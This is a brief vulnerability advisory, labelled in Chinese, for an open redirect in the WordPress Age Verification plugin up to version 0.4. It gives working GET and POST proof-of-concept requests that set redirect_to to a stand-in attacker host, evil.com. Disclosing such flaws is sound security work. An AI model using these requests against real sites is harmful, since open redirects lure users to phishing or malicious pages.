标题: Wordpress Age Verification plugin <= 0.4 Open Redirect 
 
作者: Gianluca Brindisi (gATbrindi.si @gbrindisi http://brindi.si/g/) 
 
下载地址: http://downloads.wordpress.org/plugin/age-verification.zip 
影响版本: 0.4 
 
  
 
1)  Via GET: http://www.2cto.com /wp-content/plugins/age-verification/age-verification.php?redirect_to=http%3A%2F%2Fwww.evil.com 
 
      
 
    The rendered page will provide a link to http://www.evil.com 
 
  
 
2)  Via POST: http://www.2cto.com /wp-content/plugins/age-verification/age-verification.php 
 
    redirect_to:    http://www.evil.com 
 
    age_day:        1 
 
    age_month:      1 
 
    age_year:       1970 
 
  
 
    Direct redirect to http://www.evil.com 
 未验证跳转